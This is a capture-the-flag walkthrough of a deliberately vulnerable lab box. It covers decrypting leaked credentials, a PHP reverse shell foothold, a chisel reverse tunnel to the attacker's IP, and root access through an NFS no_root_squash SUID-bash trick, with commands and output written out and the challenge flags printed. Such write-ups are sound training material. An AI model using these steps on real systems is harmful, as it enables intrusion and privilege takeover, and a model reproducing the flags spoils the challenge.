After Overpass’s rocky start in infosec, and the commercial failure of their password manager and subsequent hack, they’ve decided to try a new business venture.
Overpass has become a web hosting company!
Unfortunately, they haven’t learned from their past mistakes. Rumour has it, their main web server is extremely vulnerable. Medium difficulty.
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 8.0 (protocol 2.0) | ssh-hostkey: | 3072 de:5b:0e:b5:40:aa:43:4d:2a:83:31:14:20:77:9c:a1 (RSA) | 256 f4:b5:a6:60:f4:d1:bf:e2:85:2e:2e:7e:5f:4c:ce:38 (ECDSA) |_ 256 29:e6:61:09:ed:8a:88:2b:55:74:f2:b7:33:ae:df:c8 (ED25519) 80/tcp open http Apache httpd 2.4.37 ((centos)) | http-methods: |_ Potentially risky methods: TRACE |_http-title: Overpass Hosting |_http-server-header: Apache/2.4.37 (centos) Service Info: OS: Unix
Initial nmap results, an open FTP and a web app.
Nothing immediately obvious in the web app, while feroxbuster runs let’s have a look at the FTP server, which doesn’t allow anonymous logins.
Feroxbuster quickly finds a directory backups containing backup.zip
┌──(kali㉿kali)-[~/Desktop/thm/overpass]
└─$ gpg --output xlsx --decrypt CustomerDetails.xlsx.gpg
gpg: encrypted with 2048-bit RSA key, ID 9E86A1C63FB96335, created 2020-11-08
"Paradox <paradox@overpass.thm>"
The zip file contains an encrypted spreadsheet and it’s corresponding key weirdly…and the spreadsheet contains usernames and passwords.
The paradox user requires a key to log into SSH but it lets us log into the FTP server, which turns out to be the base directory of the website so we can upload a PHP reverse shell for our first foothold.
We know Paradox’s password so we’ll be able to change into that user too.
Doing some initial enumeration we find the first flag (web.flag) inside /usr/share/httpd/web.flag
thm{0ae72f7870c3687129f7a824194be09d}Time for some Linpeas and we see a misconfiguration in NFS. /home/james is set as no_root_squash meaning we could access the files inside if we mount the folder. After a lot of reading I discover I’ll need to create a VPN tunnel between me and the box to mount the share, so using chisel with the commands below.
In Kali: chisel server -p 9999 --reverse 2022/08/27 21:38:55 server: Reverse tunnelling enabled 2022/08/27 21:38:55 server: Fingerprint jh9S4nQFnBd1Qv3A8/giXRL9baUxp8xM2C/QWJgAVcc= 2022/08/27 21:38:55 server: Listening on http://0.0.0.0:9999 2022/08/27 21:40:45 server: session#1: Client version (1.7.7) differs from server version (0.0.0-src) 2022/08/27 21:40:45 server: session#1: tun: proxy#R:2049=>2049: Listening On Box: ./chisel client 10.18.105.64:9999 R:2049:127.0.0.1:2049 <isel client 10.18.105.64:9999 R:2049:127.0.0.1:2049 2022/08/27 21:40:45 client: Connecting to ws://10.18.105.64:9999 2022/08/27 21:40:46 client: Connected (Latency 71.574126ms)
With the tunnel created we can access the NFS share locally and grab the user flag.
└─$ sudo mount -t nfs 127.0.0.1:/ /tmp/james
┌──(kali㉿kali)-[/tmp/james]
└─$ ls
user.flagIt does also mean we can attempt to use the exploit to escalate privileges now. Inside /home/james/.ssh we find the ssh keys for the james user, so now we’re able to create an SUID binary inside Jame’s home directory using the folder we mounted as root and execute it as James for root privileges. After trying and failing to make various binaries in the folder, I realise I could just copy an existing one (bash) and change the permissions locally.
[james@ip-10-10-205-141 ~]$ cp /bin/bash bash
┌──(kali㉿kali)-[/tmp/james]
└─$ sudo chown root.root bash
┌──(kali㉿kali)-[/tmp/james]
└─$ sudo chmod +s bash
[james@ip-10-10-205-141 ~]$ ./bash -p
bash-4.4# id
uid=1000(james) gid=1000(james) euid=0(root) egid=0(root) groups=0(root),1000(james)
bash-4.4#
bash-4.4# cd /root
bash-4.4# ls
root.flag
bash-4.4# cat root.flag
thm{a4f6adb70371a4bceb32988417456c44}With that the box is done.
I spent a lot of time faffing about with the NFS part of this box and learned a lot.